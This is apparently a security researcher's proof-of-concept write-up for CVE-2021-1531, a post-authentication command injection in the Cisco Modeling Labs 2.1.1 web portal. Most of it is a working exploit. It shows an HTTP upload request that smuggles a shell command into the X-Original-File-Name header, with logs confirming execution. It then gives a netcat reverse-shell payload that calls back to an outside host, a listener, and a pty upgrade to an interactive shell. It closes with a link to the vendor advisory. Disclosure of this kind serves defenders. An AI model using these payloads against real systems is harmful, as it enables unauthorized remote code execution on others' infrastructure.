Cisco Modeling Labs 2.1.1-b19 Post-Auth RCE Vulnerability
CVE-2021-1531
=======
Details
=======
Authenticated command injection in the web portal via the X-Original-File-Name header.
Tested with portal 'admin' user who does not have a system login or SSH access, but likely works for any user who can upload files in the portal.
=====
Repro
=====
-------
Request
-------
POST /api/v0/images/upload HTTP/1.1
Host: 10.10.10.118
X-Original-File-Name: test.rpm';id>/tmp/123'
Authorization: Bearer [jwt token]
Content-Length: 0
--------
Response
--------
HTTP/1.1 200 OK
Server: nginx/1.14.1
...
"Success"
----------------
Local monitoring
----------------
pid=5547 executed [/bin/sh -c /usr/local/bin/imagetool -stderrthreshold=INFO -multipart move '/var/local/virl2/nginx-temp-folder/0063443599' '/var/local/virl2/dropfolder/test.rpm';id>/tmp/123''; exit 0 ]
.....
pid=5555 executed [id ]
$ cat /tmp/123
uid=982(virl2) gid=980(virl2) groups=980(virl2),982(wireshark),986(libvirt) context=system_u:system_r:unconfined_service_t:s0
============
Exploitation
============
The netcat binary with -e support is installed on the system, which makes gaining a remote shell as the virl2 user easy for demo.
-------
Payload
-------
X-Original-File-Name: test.rpm';nc 10.1.1.101 5000 -e /bin/bash'
--------
Listener
--------
$ nc -l -p 5000
.....
*connection received from cml2*
/usr/libexec/platform-python -c 'import pty; pty.spawn("/bin/bash")'
*** VIRL2 network simulator monitor ***
CLI> uname -a
Linux cml2-controller.cml.lab 4.18.0-80.11.2.el8_0.x86_64 #1 SMP Tue Sep 24 11:32:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
CLI> pwd
/var/local/virl2
===
Fix
===
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cml-cmd-inject-N4VYeQXB